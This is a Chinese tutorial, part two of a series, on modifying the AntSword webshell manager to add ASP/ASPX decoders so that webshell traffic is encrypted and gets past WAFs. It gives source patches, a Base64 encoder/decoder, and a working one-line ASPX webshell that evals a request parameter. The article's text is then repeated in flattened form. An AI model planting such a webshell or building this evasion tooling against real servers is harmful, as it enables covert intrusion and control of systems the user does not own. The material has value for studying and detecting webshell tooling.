蚁剑改造过WAF系列(二)
字数 1126 2025-08-20 18:18:04

蚁剑改造过WAF系列(二) - ASP/ASPX解码器实现详解

0x00 前言

本文是蚁剑改造系列的第二篇,重点讲解如何为蚁剑添加ASP/ASPX的解码模块,实现对ASP/ASPX加密回显的支持。通过源码级别的修改,使蚁剑能够像处理PHP一样处理ASP/ASPX的加密通信。

0x01 蚁剑源码结构分析

核心目录结构

source/
├── core/
│   ├── asp/            # ASP脚本模板
│   │   ├── index.js
│   │   ├── template/
│   │   │   ├── base.js
│   │   │   ├── command.js
│   │   │   ├── filemanager.js
│   │   │   └── database.js
│   ├── aspx/           # ASPX脚本模板
│   ├── php/            # PHP脚本模板
│   └── base.js         # 基础函数库
├── modules/
│   └── settings/
│       └── encoders.js # 编解码器UI管理
└── app.entry.js        # 程序入口

关键文件说明

  1. app.entry.js:程序主入口
  2. core/base.js:包含参数格式化、HTTP发送接收处理等基础函数
  3. core/[语言]/index.js:各语言的核心请求处理模块
  4. core/[语言]/template/:各语言的功能模板(文件管理、命令执行等)
  5. modules/settings/encoders.js:编解码器的UI管理和事件处理

0x02 解码器UI改造

修改encoders.js

  1. 在菜单栏中添加ASP/ASPX选项:
// 在toolbar配置中添加ASP/ASPX选项
toolbar: [
    {id: 'php', text: 'PHP', icon: 'fa fa-code'},
    {id: 'asp', text: 'ASP', icon: 'fa fa-code'},
    {id: 'aspx', text: 'ASPX', icon: 'fa fa-code'},
    {id: 'jsp', text: 'JSP', icon: 'fa fa-code'},
    {id: 'custom', text: '自定义', icon: 'fa fa-code'}
]
  1. 修改点击事件处理:
// 在toolbar的onClick事件中添加ASP/ASPX处理
case 'asp':
case 'aspx':
    this.createEncoder(nValue, 'decoder');
    break;
  1. 绕过不支持的语言检查:
// 修改判断条件,允许ASP/ASPX
if (type === 'decoder' && nValue !== 'php' && nValue !== 'asp' && nValue !== 'aspx') {
    antSword.nayiv('暂不支持该脚本类型的解码器!');
    return;
}

0x03 解码器核心模板改造

PHP解码器原理分析

PHP解码器工作流程:

  1. 使用ob_start()开启输出缓冲
  2. 所有输出存入缓冲区
  3. 通过ob_get_contents()获取缓冲区内容
  4. 使用asenc函数对输出内容编码
  5. 统一输出编码后的内容

ASP/ASPX解码器实现差异

由于ASP/ASPX的缓冲区机制不同:

  • ASP使用response.buffer=true开启缓冲
  • ASPX使用Response.BufferOutput = true
  • 但无法像PHP那样获取缓冲区内容进行处理

解决方案:在每个输出点(response.write)手动添加asenc包装

ASP核心修改

  1. index.js修改:
// 添加asencCode处理
let asencCode = this.encoder.asoutput();
asencCode = asencCode.replace(/\{KEY\}/g, this.__key__);

// 在payload中插入asenc函数定义
let payload = [
    `Function asenc(str):asenc=${asencCode}:End Function`,
    // ...其他payload代码
].join(':');
  1. 模板文件修改
    在所有response.write处添加asenc包装:
// 原代码
"response.write(\"\"\"& data &\"\"\")"

// 修改后
"response.write(asenc(\"\"\"& data &\"\"\"))"

ASPX核心修改

  1. index.js修改:
// 添加asencCode处理
let asencCode = this.encoder.asoutput();
asencCode = asencCode.replace(/\{KEY\}/g, this.__key__);

// 在payload中插入asenc函数定义
let payload = [
    `private string asenc(string str){${asencCode}}`,
    // ...其他payload代码
].join(';');
  1. 模板文件修改
    使用中间变量统一处理输出:
// 原代码
"Response.Write(data);"

// 修改后
"string antoutput = data; Response.Write(asenc(antoutput));"

解码函数扩展

修改decode_buff函数以支持额外参数:

// 原函数
decode_buff: function(data) {...}

// 修改后
decode_buff: function(data, ext) {...}

在所有调用decode_buff的地方添加ext参数传递。

0x04 解码器测试

ASPX一句话木马示例

<%@ Page Language="Jscript"%>
<%Response.Write(eval(Request.Item["test"],"unsafe"));%>

创建Base64解码器

// ASPX Base64解码器示例
exports.asoutput = () => {
  return `return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str));`;
};

exports.decode_buff = (data, ext) => {
  return Buffer.from(data, 'base64').toString();
};

测试效果

  1. 启用解码器前:明文传输
  2. 启用解码器后:Base64编码传输

0x05 总结

本文详细讲解了如何通过修改蚁剑源码实现ASP/ASPX解码器支持,关键点包括:

  1. 解码器UI的添加和事件处理
  2. ASP/ASPX与PHP在缓冲区处理上的差异
  3. 通过在每个输出点添加asenc包装实现加密输出
  4. 解码函数的扩展以支持更多参数
  5. 完整的测试流程

0x06 参考

蚁剑改造过WAF系列(二) - ASP/ASPX解码器实现详解 0x00 前言 本文是蚁剑改造系列的第二篇,重点讲解如何为蚁剑添加ASP/ASPX的解码模块,实现对ASP/ASPX加密回显的支持。通过源码级别的修改,使蚁剑能够像处理PHP一样处理ASP/ASPX的加密通信。 0x01 蚁剑源码结构分析 核心目录结构 关键文件说明 app.entry.js :程序主入口 core/base.js :包含参数格式化、HTTP发送接收处理等基础函数 core/[ 语言]/index.js :各语言的核心请求处理模块 core/[ 语言]/template/ :各语言的功能模板(文件管理、命令执行等) modules/settings/encoders.js :编解码器的UI管理和事件处理 0x02 解码器UI改造 修改encoders.js 在菜单栏中添加ASP/ASPX选项: 修改点击事件处理: 绕过不支持的语言检查: 0x03 解码器核心模板改造 PHP解码器原理分析 PHP解码器工作流程: 使用 ob_start() 开启输出缓冲 所有输出存入缓冲区 通过 ob_get_contents() 获取缓冲区内容 使用 asenc 函数对输出内容编码 统一输出编码后的内容 ASP/ASPX解码器实现差异 由于ASP/ASPX的缓冲区机制不同: ASP使用 response.buffer=true 开启缓冲 ASPX使用 Response.BufferOutput = true 但无法像PHP那样获取缓冲区内容进行处理 解决方案:在每个输出点( response.write )手动添加 asenc 包装 ASP核心修改 index.js 修改: 模板文件修改 : 在所有 response.write 处添加 asenc 包装: ASPX核心修改 index.js 修改: 模板文件修改 : 使用中间变量统一处理输出: 解码函数扩展 修改 decode_buff 函数以支持额外参数: 在所有调用 decode_buff 的地方添加 ext 参数传递。 0x04 解码器测试 ASPX一句话木马示例 创建Base64解码器 测试效果 启用解码器前:明文传输 启用解码器后:Base64编码传输 0x05 总结 本文详细讲解了如何通过修改蚁剑源码实现ASP/ASPX解码器支持,关键点包括: 解码器UI的添加和事件处理 ASP/ASPX与PHP在缓冲区处理上的差异 通过在每个输出点添加 asenc 包装实现加密输出 解码函数的扩展以支持更多参数 完整的测试流程 0x06 参考 蚁剑编码器与解码器详解 ASP官方文档 ASPX官方文档